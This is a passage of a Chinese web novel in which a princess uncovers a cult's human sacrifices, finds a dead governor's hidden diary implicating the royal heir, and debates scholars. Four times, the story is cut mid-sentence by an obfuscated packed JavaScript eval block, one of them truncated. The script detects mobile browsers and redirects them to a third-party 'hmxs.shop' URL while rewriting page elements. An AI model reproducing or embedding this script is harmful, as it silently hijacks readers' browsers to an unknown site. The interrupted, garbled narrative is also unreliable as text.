他们没有平民作为信徒，平时只能做一些寻人寻物、占卜凶吉之类的小业务，而且常常获得的收入还不足以抵消消耗的材料，并不划算。 像是狄奥多罗斯这样愿意用巫术保证自己的安全的冤大头少之又少，主要原因是需要用到的材料再加上他们的人工费实在是个不算小的数字。 精明的权贵们更愿意用这些钱购买强壮的奴仆，同样能抵挡危险，还看得见摸得着，又很划算。 所以，综合这些方面的原因，阿赫勒教团的贫穷是很正常的。 这也导致了他们的人员流失十分严重，据说佐尔万主教最爱给成员们画饼。 他常常说“等我们找回了典籍，人人都能成为强大的巫师，阿赫勒教团会成为阿拉比亚王国最大的教派”之类的只有愣头青才会相信的话。 在这样的情况下，狄奥多罗斯很容易就收买了那位下属。 从他的口中，狄奥多罗斯知道了阿赫勒教团的秘密。 这其实也不是什么特别大不了的事，不像他们明面上宣称的，他们并无信仰的神明，唯一的信仰和追求就是巫术。 阿赫勒教团实际上信仰着安格纽，一位传说中的恶神。 安格纽是“黑暗与死亡的大君”，他代表了谎言、贪婪、愤怒和嫉妒，是世间一切罪恶与黑暗的源头。 比起其他教派或是信仰代表着光明和纯洁的真主、或是信仰山川草木，信仰一位恶神确实违反主流。 要是仅仅如此的话，也不是什么大问题，最多会遭到其他教派言语上的不痛不痒的攻击。 问题在于他们尝试着祭祀这位恶神，妄图从祂那里获取一些力量。 对于恶神的祭祀当然也与善神不同，恶神喜爱血肉和鲜活的生命，牛羊之类的活祭来者不拒，要是有人这样高级的祭品自然最好。 别看在恶神这里人是更高级的祭品，市场上最廉价的奴隶比优质牛羊卖得还要便宜。 阿赫勒教团于是购买了许多奴隶来献祭给安格纽，安格纽的回报则是一些巫术。 可是慢慢的，安格纽的胃口越来越大，一开始只要一个人就可以，后来就变成两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936598|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、三个人，甚至对于祭品的年龄、性别和相貌都提出了要求。 对于主教佐尔万想要得到的魔法契约的制作方法，安格纽提出了要十个相貌漂亮、十岁左右的孩童作为祭品。 这可不是能轻易在奴隶市场买到的，而且价格不菲，阿赫勒教团出不起这个钱。 而且阿赫勒教团频繁购买奴隶的行为已经引起了埃烈城中治安官的注意，佐尔万只能放弃并且降低祭祀的频率。 虽然奴隶的命不算什么，但是这违反了逊尼教的不能用活人祭祀的教义。 要是被人发现阿赫勒教团在用活人祭祀，很可能会遭到许多人的抵制，甚至于受到哈里发的训斥。 祭祀的地点一直都很固定，但是在总督扎姆死前的一段时间，主教佐尔万忽然放弃了这个地点，并且吩咐这位属下将现场的痕迹打扫干净。 这让人很容易联想到是否是因为总督扎姆得知了阿赫勒教团用活人祭祀的事，并且试图将这件事上报给哈里发。 这才遭到了主教佐尔万的忌惮，以至于杀人灭口。 这是狄奥多罗斯的猜测，基本符合逻辑，动机也很充足。 不过考虑到马蒙对莱曼大师的在意程度，辛蒂总觉得这件事没那么简单。 最起码马蒙在其中一定扮演着什么角色。 现在狄奥多罗斯要带着辛蒂去看的，正是这个祭祀地点。 跟随着狄奥多罗斯，二人七拐八拐地走进一处民居，一番操作以后，一个地下室的入口出现在二人的面前。 这个地方狄奥多罗斯也是第一次来，里面的痕迹已经被清理得干干净净。 最起码他看不出来有什么奇怪的地方，更看不出这里曾经是一个祭祀的场地。 他只觉得这里阴森森的，温度比外面低了不少，让人觉得异常寒冷。 辛蒂的感官和狄奥多罗斯完全不同，她感受到了一股浓郁的污秽的气息。 那个属下没有欺骗狄奥多罗斯，这里确实进行过邪恶的祭祀。 辛蒂亲自来到这个地方，不仅仅是想要确认这一点，她还想知道这位恶神安格纽究竟是什么来头。 她一度认为这个世界的神明都是人为塑造出来的，用来进行政治斗争、收买人心的幌子。 然而这位安格纽显然是真实存在的，并且对于阿赫勒教团的祭祀给予了反馈。 这是其他的教派的神明都没有出现过的。 这让人不禁感到疑惑，真主和其他教派信仰的神明是否是真实存在的，要是存在，为什么从未回应过自己的信徒呢？ 这还让辛蒂有过一瞬的惶恐，要是真主真实存在，她的行为无疑是在亵渎与欺骗祂。 随即她马上安心下来，在政治斗争中，她的行为绝对算不上最亵渎的那一个。 就算祂要算账，第一个遭殃的绝不是她。 辛蒂只能姑且猜测，安格纽是比起其他的神明来说低级得多的存在，以至于会被简薄的祭品所吸引，现身于人前。 64.日记 在这个阿赫勒教团的祭祀现场，辛蒂感受着这位恶神残留下来的气息。 很奇怪，祂的气息竟然叫辛蒂感到有些似曾相识。 在她的猜测和臆想中，既然是神明，即使是一位恶神，祂的气息也应该是无法直视的。 就像是她在灵视中面对太阳时那样，让人从灵魂深处感到战栗。 而这位恶神安格纽，给她的感觉更像是之前与她做过交易的魔鬼。 这并非没有可能，或许阿赫勒教团的主教不知道从哪里学来了和魔鬼交易的方法，主观地相信了与他进行交易的是一位恶神。 这个猜测让辛蒂内心安稳了不少，魔鬼最起码比一位神明造成的影响要可控一些。 根据辛蒂对于魔鬼这种生物的了解，祂们虽然拥有着强大的力量，却被堪称严苛的规则约束着。 比如不能主动对于人世间的事发生干涉，即使被人类召唤，祂们的所得亦需要和付出严格对等，甚至做亏本生意。 当然，恶魔都是一群狡猾而且不知道感恩的家伙，祂们不可能让自己白白出力的。 不过规则的限制仍旧叫他们束手束脚，不能大肆兴风作浪。 狄奥多罗斯不知道辛蒂亚公主面对一个空荡荡的地下室有了如此的发现和思考。 他实在是不知道这里有什么可看的，以至于辛蒂亚公主绕了一圈又一圈，连墙缝中的杂草都没有放过。 好在这一切很快就结束了，辛蒂亚公主终于完成了她对于这里的观察，大发慈悲地表示可以离开了。 狄奥多罗斯原本还准备了一场丰盛的晚宴，期待着和辛蒂亚公主的关系更进一步。 辛蒂遗憾地拒绝了，她需要回去认真思考一下今天阿赫勒教团的大发现。 至于美好的□□，只能等待下一次机会了。 回到城主府后，辛蒂再一次梳理了这件事。 从在巴格达的时候总督扎姆遭到刺杀，到阿赫勒教团暗中进行的活人祭祀。 狄奥多罗斯认为因为扎姆知道了活人祭祀的事才遭到主教佐尔万的灭口，其中却有一个疑点。 阿赫勒教团的活人祭祀不是一天两天的事了，根据那位下属的情报，大概五年前就已经开始了。 那个祭祀地点算不上十分隐秘，再加上阿赫勒教团采购了许多奴隶的事，最起码很难逃过治安官的眼睛。 没道理最近一年扎姆才察觉到了这件事，进而想要到巴格达汇报给哈里发。 而且总督扎姆是一个做事很圆滑的官员，他和阿赫勒教团无冤无仇，即使知道了活人祭祀，未必会管这个闲事。 扎姆必定是知道了另外一件，相关的、更加紧要的事，才会急着到巴格达亲自向哈里发汇报。 这件事，是主教佐尔万还是埃米尔马蒙都不愿意叫哈里发知道的。 继续联想下去，这件事很可能就是马蒙改变了信仰，背弃了真主，转而投向了恶神安格纽！ 而且是阿赫勒教团以为的恶神安格纽，实际上和他们做交易的是恶魔。 辛蒂被自己脑海中忽然冒出来的这个十分离谱的猜测吓了一跳。 马蒙作为板上钉钉的阿拉比亚王国的继承人，稳稳当当的未来的哈里发，没有任何理由做出这样的选择。 一旦被人知道马蒙这个未来的逊尼教派精神领袖转变了信仰，恐怕他就会失去现有的一切，成为一个彻头彻尾的罪人。 辛蒂实在是想象不出究竟是什么样的情况，才会让马蒙做出这样的选择。 偏偏她的灵性告诉她，这很有可能就是事情的真相。 先不论马蒙的动机如何，假设他真的做出了这样的选择，那么这件事的发展就很合理了。 不管是在得知莱曼大师入狱后马蒙的焦急，还是阿赫勒教派迫不及待地要取得扎姆的性命。 问题在于马蒙真的改信恶神了吗，还是说这件事另有隐情？ 辛蒂没有尝试用占卜的手段确认这件事，因为马蒙显然和阿赫勒教团关系匪浅，他们有反占卜的手段，她的占卜大概率是失效的。 辛蒂需要找到一些切实的证据来支撑她的猜想，或者说支撑另外的她没有想到的可能。 辛蒂找来副官阿卜，询问他所知道的任何关于总督扎姆的细节。 阿卜那张年轻英俊的脸蛋显示出了与年龄不符的沉稳，他没有询问辛蒂亚公主想要知道这些事的原因。 自从辛蒂拿出那些神奇的技术配方以及在完成赐福的壮举以后，在阿卜的心中，她的地位已经只略逊于真主。 辛蒂亚公主的任何话，他都会当作神的旨意来对待。 阿卜细细思索片刻后回答道：“总督大人会将大部分事务都分给副官们，他只做最后的确认。” “因为我当时的阅历还浅，我的任务都是另外的副官分给我的，我平时很少能见到总督大人的面。” “不过我知道总督大人每天晚上都会在书房独处一会儿，听说是在写日记。” 日记？这倒是一个不太寻常的习惯，值得关注。辛蒂暗暗想到，总督扎姆是否会在日记里记录过这些事呢？ 按理说日记这么私人的物品，他应该随身携带才是。 可是辛蒂记得她在巴格达查案的时候，检查过扎姆的所有私人物品，其中并不包括他的日记本。 不会是阿赫勒教团拿走了，刺杀者是被当场抓获的，他们没有那个时间将日记本藏起来。 那么要是这个日记本真的存在，很可能还在埃烈的某个地方。 甚至于就在城主府中，既然阿卜他们没有在扎姆在城主府中的遗物里找到这个日记本，或许是被扎姆藏起来了也不一定。 阿卜离开后，辛蒂拿出她许久没有使用的占卜水晶，在心中默念她的问题“总督扎姆的日记本就在城主府的书房里对吗？” 七遍以后，占卜水晶果然给出了顺时针方向转动的答案。 辛蒂眼睛一亮，果然没错，总督扎姆将自己的日记本藏在了书房的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940722|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某处，要是她也会做出这样的选择。 她现在对于日记本中记录着关键信息的事有了更大的把握，那接下来就是在这个房间里寻找日记本了。 这并不困难，不过很繁琐。 辛蒂还是用占卜这个老办法，将房间划分区域，一步步缩小日记本可能在的区域。 到最后，辛蒂已经觉得疲惫了。虽然占卜的消耗很小，次数多了也相当费劲。 这也是有时候辛蒂更愿意动脑子思考，而非用占卜进行穷举寻找答案的原因。 占卜的结果指向一块地板，真是毫无新意，不过也很难发现就是了。 在奴仆的帮助下，辛蒂撬开了那块看上去毫无特征的地板，下面果然有一本日记，羊皮封面上写着总督扎姆的名字。 其实总督扎姆早就预料到自己去巴格达很可能会有生命危险，他在离开埃烈前将自己的日记本藏在了这个地方。 为了防止这本日记无法重见天日，他还在自己的住处等地方设置了一些暗语和线索，指向了他的书房地板第六行第七列。 也就是藏日记本的地方，他没想到会有人以如此简单粗暴的方式找到他的日记本。 不过就算辛蒂知道，恐怕也不会花这个时间去扎姆的住所寻找线索。 翻开日记本，辛蒂发现扎姆竟然从好几年前就开始写日记了，这毅力真是非同寻常。 日记本的开头正好是他刚刚成为埃烈总督的时候，看得出来他那个时候颇有雄心壮志，想要做出一番大事业。 可惜慢慢的，他的锋芒被现实逐渐磨平，复杂的教派关系以及商人势大的局面都让他头秃不已。 仅仅是保持各方之间的平衡，他就付出了极大的心力，之前的那些变革的想法化作泡影。 到日记本三分之二的地方，总督埃烈已经化身成为老油条，记录的多是某某官员的把柄，某某教派主教的特殊喜好等等涉及颇多秘辛的内容。 辛蒂还看到里面有不久前企图给她下马威的城防官纳西尔的小辫子，他能走到城防官的位置全靠妻子的母族。 纳西尔的妻子颇为强势，不允许他有任何妾室，但是他瞒着妻子养了一个异族美人，这位美人还给他生了好几个孩子。 总督扎姆也不是什么省油的灯，这个异族美人就是他送给纳西尔的，从日记本的内容来看，他对此还挺得意的。 不过总督扎姆记录的内容大部分对于辛蒂来说都没有意义，因为他记录的很多官员都被辛蒂解除了职位。 其中就包括城防官纳西尔，他在言辞中对于辛蒂亚公主颇为瞧不起，辛蒂一点也不惯着他。 虽然后来找继任者费了些功夫，未尝不是避免了许多纳西尔以及一些像他这样油滑且自视甚高的官员给她找的麻烦。 日记一页一页翻过去，辛蒂仿佛看了一遍总督扎姆在埃烈的种种经历，并不觉得枯燥，反而兴致勃勃。 终于看到了总督扎姆发现阿赫勒教团在进行活人祭祀的那天。 65.讲经 【赖比尔·阿赫尔月十五日，拉希德历三百零六年 今天纳西尔告诉我阿赫勒教团又购买了十个老年奴隶。他们总是购买这样几乎毫无用处的奴隶，究竟是想做什么？ 在好奇心的驱使下，我让人在那几个奴隶的身上做了些手脚，这应该能帮助我找到他们。 佐尔万那个邪门老头总是踪迹飘忽不定，他一准是有什么没有得到真主准许的手段。 （模糊的字迹看不清日期，显示出了书写者愤怒的内心） 真主保佑，佐尔万这个这个该被火狱吞噬的渣滓······（一些骂人的本地词汇）。 他怎么敢做出活人祭祀这么残忍的事！ 这不被真主允许，我也不能允许我管理的城市出现这样的事！ ······ 得了吧，老扎姆，阿赫勒教团背后有不少大商人的支持，要是揭发了佐尔万，那些鬣狗一准会弄出许多小动作，你还没吃够教训吗？ 不过几个奴隶而已，就睁一只眼闭一只眼吧······】 或许是因为涉及到了自己的信仰所不允许的事，扎姆的日记中久违地出现了一些情感上的挣扎。 不过就像辛蒂猜测的那样，他最后还是选择了向现实妥协，并未坚持维护自己的信仰。 那么后面一定还有别的事，让扎姆改变了主意，以至于要亲自前往巴格达向哈里发揭发阿赫勒教团。 果然，大概十几页日记后，再次出现了相关的内容。 【朱马达?敖外鲁月九日，拉希德历三百零七年 一年前我发现了阿赫勒教团的活人祭祀，愤怒如同滚烫的岩浆在我胸腔中翻涌。 这是对真主最恶毒的亵渎，是对性命最残忍的践踏。 虽然最后我并未选择向哈里发揭发这件事，我的目光始终关注着他们的动作。 疯狂的佐尔万，这一年来他葬送了将近一百条奴隶的性命。相信若非局限于他们的贫穷现状，这个数字会大得多。 令人不安的是，他似乎从中获得了不少好处，连带着阿赫勒教团的规模都扩大了许多。 我确信他们得到了某个大人物的支持，证据是探查祭祀现场的下属复命时，身上携带着的一抹香气。 那是一种难以言喻的、混合了海洋气息与甜美花香的奇异香气。 这绝不是来自于他们惯常使用的那些价格并不算十分昂贵的龙涎香或者乳香，它们的留香时间都没有这么长。 我反复回忆后，终于想起来这是一种经过极其繁复的手法调配而出的复合香料。 这香出自巴格达技艺最为精湛的香匠之手，我平生只在王宫中闻到过这样神秘的香味。 这是王室专属的香料，亦是王室在祭祀真主之时的首选，如今却出现在了一个恶神的祭祀现场，这背后可能的原因让我感到心惊！ 我要好好查查这件事，那个背后的大人物究竟是谁？ 真主保佑，但愿这帷幕后的隐秘，不会将我碾作齑粉。】 日记本再次翻过几页，扎姆的调查得到了成果。 【朱马达?阿赫鲁月二十日，拉希德历三百零七年 真主啊，倘若您真的能听到您的信徒的声音，为何要将我牵扯进这个泥潭呢？ 这让人绝望的消息仿佛惊雷在我的耳边炸响，阿赫勒教团的背后，种种的证据都指向了王国的继承人埃米尔马蒙！ 他已经是世界上最富有、最有权势的人之一了，为何还要向恶神安格纽献出自己的忠诚？ 他难道要叫整个阿拉比亚王国都投入到恶神的怀抱之中吗？ ······ 光明将被遮蔽，人间将变成地狱。 真主啊，我该如何选择？是为了自保而沉默，还是为了信仰而牺牲一切？这个问题如同毒蛇般缠绕着我的心，让我彻夜难眠。】 这篇日记的笔迹相当潦草，足见总督扎姆波涛起伏的内心。 其中还有大片的污迹涂改，隐隐约约能看出是咒骂马蒙的句子，或许是出于对上位者的敬畏，最后还是被划去了。 这是扎姆的日记本中的最后一篇，扎姆在做出决定的时候有过怎样的心路历程已经未可知了。 不过辛蒂已经知道了结果，他最终还是选择了要去揭发这一切。 日记本的最后还有他留给后来者的话。 “我知前路暗淡，不知阅读者何人，若同属真主的忠仆，请代我将马蒙的罪孽禀报哈里发。——埃烈总督扎姆留” 另外后续还详述了他是如何确定马蒙背弃了真主，改信恶神的过程，以及一些关键的证据也被他放在了另外一个地方。 可以看出他在前往巴格达的时候就已经知道此行凶多吉少，可是他为了阿拉比亚王国的未来，以及对于真主的虔诚，还是做出了这样的选择。 辛蒂对于扎姆生出了些许敬佩之情，虽然他完全称不上一个多么合格的总督，在埃烈期间也未有什么出彩的政绩。 可是他在自己的信仰上确实有着异于常人的坚贞，以至于可以舍弃自己的生命。 即便他最后没能成功地将此事揭露出来，没有他的死亡作为铺垫，辛蒂也发现不了这件事。 说不定马蒙仍旧会成为下一任哈里发，可以预见的，阿拉比亚王国就会成为魔鬼的乐园，届时只有真主亲至才能拯救所有人了。 辛蒂按耐住了立刻揭发马蒙的冲动，现下不是最好的时机。 不过有些人却企图破坏辛蒂的神佑之名。 辛蒂收到了来自乌莱玛的邀请，他们希望辛蒂能去往埃烈的学宫为他们解读真主的旨意。 学宫常常都有这样的活动，邀请德高望重、富有盛名的学者为乌莱玛们讲经。 辛蒂当然不是学者，但是她的神佑之名响彻埃烈，站上讲经台也不算是师出无名。 辛蒂了解乌莱玛，尤其是在埃烈的这一支，是彻彻底底的学者和虔诚的信徒。 辛蒂在中心广场以真主的名义赐福的壮举乌莱玛们都有所耳闻。 于是他们之中有人提出，既然辛蒂亚公主有这样的伟力，想必对于经文也有着不俗的见解。 即使比不上真主的全知，只有真主的皮毛也够他们受用不尽了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946355|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乌莱玛们有这样的想法实属正常，不过辛蒂还是秉持着谨慎的原则查了查这个提议是哪位乌莱玛提出的。 结果却发现率先如此提议的乌莱玛是塞尔柱家族的成员，和马蒙有着千丝万缕的联系。 要是不知道马蒙和阿赫勒教团的关系，辛蒂或许会认为这是一个巧合。 因为就算马蒙和祖拜达王后想要针对她，消息也传递不了那么快。 知道了这层关系，辛蒂有极大把握这位乌莱玛受到了阿赫勒教团的主教佐尔万的指使。 他通晓法术，自然不会认为辛蒂亚公主的神佑之名是真的，此举恐怕是想看到辛蒂亚公主出丑，受到乌莱玛这个群体的厌恶，乃至丢失神佑之名。 在佐尔万看来，辛蒂亚公主在铜宫不接触外界多年，从未接受过良好的教导。即使有阿布大师这样的名师，学习的时间还是太短了。 辛蒂亚公主不可能对于经文有着深刻的了解，更别说给学识渊博的乌莱玛们讲学。 一旦辛蒂亚公主在这样的场合表现出了自己对于经文的无知浅薄，她的神佑之名自然会烟消云散。 至于她身上的种种奇异之处，到时候就会有人跳出来指证辛蒂亚公主是个和魔鬼媾和的巫女。 阿赫勒教团这时候就可以名正言顺地出手，替天行道，就算是哈里发也不能说他们有错。 辛蒂不知道佐尔万后续的安排，但是她从不把敌人往好处想。 这次她去乌莱玛的学宫，恐怕不会那么顺利，有的是后招等着她。 辛蒂不能拒绝乌莱玛们的邀请，一旦她说一个不字，外界的传言就会变成辛蒂亚公主不敢和乌莱玛交谈，这同样会对她的名声有一定的打击。 这是佐尔万的阳谋，辛蒂不得不说一句真是老奸巨猾。 时间很快就到了讲经的那一日，辛蒂亚公主仍旧是一身绣着金丝暗纹的长袍，在众多乌莱玛的目光下施施然登上了讲经台。 在场的乌莱玛们即使因为辛蒂亚公主的神佑之名不得不对她尊敬几分，对于辛蒂亚公主这样年轻，又是女性，还是难免有些疑虑。 一个个摩拳擦掌，只待这位神佑公主能说出怎样的真知灼见。 辛蒂亚公主虽然有着年轻的脸庞，一双黑色的眼睛却仿若深潭，让人难以升起轻慢之意。 她的讲经并没有让人失望，娓娓道来、深入浅出，具有着女子独特的细腻视角，让不少乌莱玛都觉得豁然开朗。 将近两个小时的讲经结束后，众人看向辛蒂亚公主的眼神中的轻视已经全然消失了，取而代之的是敬佩和尊重。 毕竟抛开神佑公主的身份不谈，辛蒂亚公主在这个年纪对于经文能有这样的见解，已经很难得了。 不过讲经的结束对于辛蒂以及那些不怀好意的人，才是真正的开始。 接下来就是辩经的环节，通常是由乌莱玛们向讲经人提出疑惑，一般都比较平和，不过对于辛蒂亚公主来说并非如此。 第一个问题就显得十分尖锐，“圣训云‘妇女的学问在家中’，您身为女性，登坛讲经，是否逾越教法界限？” 66.节日 提出诘问的正是那位塞尔柱家族的成员，乌莱玛瓦哈卜。 瓦哈卜的诘问如石块投入静潭，学宫内瞬间鸦雀无声。 乌莱玛们的目光齐刷刷落在辛蒂亚身上，只有芦苇笔在白纸上记录时的书写声不时响起。 辛蒂没有如瓦哈卜预料中一般因为这个问题难堪，她的语气十分平静：“在回答您的问题之前，我想要告诉各位的是，真主虽未教导我们不能断章取义，我想祂亦难以忍受自己的话被凡人肆意曲解。” “您说‘妇女的学问在家中’，好叫您知道，这里的家指的是先知之妻阿伊莎在麦地那的居所。” “那曾是无数信士求教的圣地，她传述的圣训多达两千余条，难道那些跨越门槛的求知者，都是在践踏教法吗？” 看到乌莱玛们都露出了若有所思的神情后，辛蒂才继续道： “真主曾明言，‘男女信士，互为保护者’，又说‘求知是每个人的天职’。这天职何曾分过男女，何曾限定过场所呢？” 辛蒂的一席话有理有据，乌莱玛们纷纷点头，这让瓦哈卜一时间哑口无言，脸红到了耳根。 他恨恨坐下，竟未向辛蒂亚公主谢过她的教导，以至于失去了学者风度，引得了众多乌莱玛的不喜。 随后辛蒂又应对了许多或尖锐或有深度的问题，不过这些问题都不像瓦哈卜提出的问题具有那么明显的针对性。 随着辛蒂一一巧妙地化解，在座的乌莱玛都心服口服，纷纷认为辛蒂亚公主果然不愧是神佑公主，对于圣训的掌握简直炉火纯青。 最后辛蒂还得到了一位声望极高的乌莱玛，同时也是埃烈的教法法官的库泰巴的认可与鼓励。 “您无愧于‘神佑公主’之名，我为埃烈有您这样的城主感到高兴。” 库泰巴是埃烈少有的做实事的官员，他在担任教法法官的期间，为埃烈的居民公正地裁决了许多纠纷。 除了完成本职工作，库泰巴还热衷于帮助别人洗刷冤屈，尤其是帮助受到贵族或者官员欺压的平民。 碍于库泰巴在乌莱玛中的声望很高，没人敢把他怎么样，生怕被乌莱玛们安上不敬真主的名头。 也因此埃烈的好些权贵暗地里都称他为“臭石头”，可见他有多硬。 库泰巴毫不掩饰自己对于辛蒂亚公主的欣赏，他的话几乎就等同于整个乌莱玛群体的认可。 这让刚刚还能言善辩的辛蒂简直受宠若惊，一时之间竟然张口结舌，不知道应该如何回答。 库泰巴一笑，继续道：“我还记得您在就任仪式时候的演讲，很精彩。希望您能做到您许诺的，我期待着埃烈能有那一天。” 他不在乎辛蒂亚公主的神佑之名是真是假，他只相信自己眼睛看到的。 辛蒂亚公主来埃烈不久，就平抑了市场上的物价，让许多平民百姓都能享受到雪糖和洁白的纸张。 她还在中心广场做出了赐福的善举，不管她是怎么做到的，平民们得到的好处是实实在在的。 还有辛蒂亚公主表现出的对于经文的熟稔，可见平时没少做功课，无愧于她的盛名。 在这样的城主的带领下，或许埃烈真的可以变得不再那么混乱，居民们也不必再忍受那些教派的纠纷。 就像“埃烈”这个名字一样，美好而灿烂。 辛蒂亚公主在学宫讲经的风采以及库泰巴对她的认可很快就传遍了整个埃烈，有了乌莱玛们的背书，神佑公主的美名再次得到了巩固。 她在应对瓦哈卜时候说的话，还鼓舞了许多女性。 在阿拉比亚王国，对女性的约束相对而言还算宽松，尤其是在巴格达，甚至还有着女性官员。 这也是哈里发能轻易答应辛蒂到埃烈出任城主的原因之一。 不过像是在埃烈这种偏远的小城，因为环境算不上十分安全，而且很多教派中女性的地位都极低，甚至有仇视女性的教派存在。 所以几乎只有最底层的女性才会外出工作，家中稍有余资的家庭的女性都不被允许单独外出。 辛蒂成为埃烈的城主之后，每次教派之间起了争执，类似于“一块面包引起的血案”那种，这两个教派都会在未来莫名其妙地倒霉。 慢慢的埃烈的治安肉眼可见的好了许多。最起码女性在外出的时候不必再担忧自己的人身安全。 在这样的基础之下，辛蒂要求商人们招工的时候尽量做到一视同仁，给了许多女性工作的机会。 男女在身体素质上的差异使得许多商人都更愿意招收男性工人，不过辛蒂亚公主手里捏着技术，甚至可能会有没拿出来的更先进的技术，他们不得不考虑她的意见。 不过辛蒂也不是不由分说地让他们用女工人，而是列举了女性细致、审美更好之类的优点，在工作岗位上给出了种种建议。 辛蒂有后世的经验，她的建议自然都是很有参考意义的，尤其是造纸和丝织这样的活计，很多步骤并不需要蛮力，女性更能胜任。 且因为辛蒂带来的新技术，商人们对于工人的需求大了很多，仅仅是男性已经满足不了工厂的工人需求了。 在丰厚的薪资的吸引下，加入生产的女性变得更多了。 相信随着生产规模的扩大，以后还会越来越多，以应对外销的需求。 总之辛蒂亚公主不仅在舆论上支持女性自立，而且还为女性创造了良好的工作环境，以及许多的工作岗位。 辛蒂从不喊什么“提高女性地位”的口号，她相信只要有了经济能力，女性的话语权就能自然而然的得到提升。 辛蒂亚公主的声明更上一个台阶，他的精心布局成为了她的垫脚石，这是佐尔万万万没有想到的。 眼下随着辛蒂亚公主的得势，阿赫勒教团的处境越发艰难起来。 因为刺杀总督扎姆失去的教团经费不谈，不知道辛蒂亚公主怎么收服了狄奥多罗斯，他竟然撤掉了一直以来对于他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950379|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞助。 还有其他一些小商人的赞助也被用各种各样的理由取消了，古德节就快到了，而他们连祭祀的材料都快买不起了！ 人类的悲欢并不相通，佐尔万在发愁钱的事，辛蒂却在饶有兴致地听阿卜讲述埃烈过古德节的种种习俗。 古德节据说是所有神明诞生的日子，是一年之中最为隆重的节日。 埃烈城中不管两个教派之间有怎样的深仇大恨，在这一天大家都要和和气气地祭祀自家神明，节日的氛围十分浓郁。 阿卜虽然在埃烈待的时间不长，只比辛蒂多过一个古德节，对于各种庆祝活动和注意事项仍是信手拈来，侃侃而谈。 按照习俗，在古德节这一天应该由城主府出资，在中心广场支上一口大锅，锅中需得耗费上百头羊和许多的鹰嘴豆，煮上一锅肉汤供人们分食。 这不是一笔小开支，总督扎姆在的时候，第一年还好，肉汤的分量很足，一天下来还有剩的。 慢慢的肉汤中使用的羊肉的量一年不如一年，一直到去年的古德节，锅中几乎只能捞出鹰嘴豆了。 今年城主府倒是能过一个肥年了，虽然商人们的欠款还没有还完，账上的流动资金别说买上一百头羊，将城中所有的羊肉买下来都绰绰有余。 第二天一早，羊肉汤的香味就弥漫了整个中心广场，闻到肉香的人们脸上的笑容都显得真切了许多。 像古德节这样的日子，许多外地商人即使是路过，也会进入城中过节。 埃烈在这一天会接待大量的外来人口，不仅有外地商人，还有各个教派的信徒，还有埃烈居民们的亲戚朋友们。 城中各个教派的神明都有自己喜好的色彩，人们早早买好了各种颜色的丝绸和麻布，将整个埃烈城装饰成了五彩的海洋。 进城的外地商人看到如此多色彩各异又都极其鲜艳的布料不禁咂舌道：“你们埃烈人真是富有，用珍贵的燃料染出了这么多颜色，这么鲜艳的颜色恐怕洗两次就会掉光了。” 外地商人的朋友笑道：“那你就有所不知了，我们的新城住辛蒂亚公主带来了崭新的染色技术，这些颜色据说不管怎么洗都不会掉呢！” 当然这话有些夸张的成分，即使用上了最新的固色技术，类似于黑色、红色的这些颜色入水还是会掉的，不过能维持比以前更长的时间。 仅仅是彩色的布料就让外地商人惊讶不已，当他看到路边的平民拿出雪糖用于祭祀的时候简直是目瞪口呆。 “雪糖？！这不是只有大贵族才能用得起的珍贵食材吗？在巴格达这样白的糖能卖出天价哩！” 朋友倒不知道巴格达已经有了这样的糖，他强行压住自己的嘴角，让自己显得十分淡然：“这有什么稀奇的，在埃烈，雪糖不过一个银币就能买上一大袋呢。” “哦对，这也是辛蒂亚公主带来的技术，她将这些技术教给商人们使用，还不让他们卖出高价，让所有埃烈人都能吃得起。” 67.袭击 外地商人一时间有些怀疑自己是不是出现了幻觉，真主在上，他难道不知不觉间进入了某处天堂吗？ 朋友的话他每个字都听得懂，合起来却叫人匪夷所思。什么叫“一个银币就能买上一大袋”，雪糖不是按德拉姆来算的吗？指甲盖那么大的一块就值一个金币了。 再接下来他看到店铺中的伙计用薄薄的白纸记下客人的需求时，已经惊讶到麻木了。 他已经开始在心中盘算这次要从埃烈运走多少雪糖、彩绸和纸张了。 虽然他原本是个香料商人，埃烈并非是他的目的地，他最终要去另外一座盛产乳香的城市购买一些便宜的香料再倒卖到巴格达去。 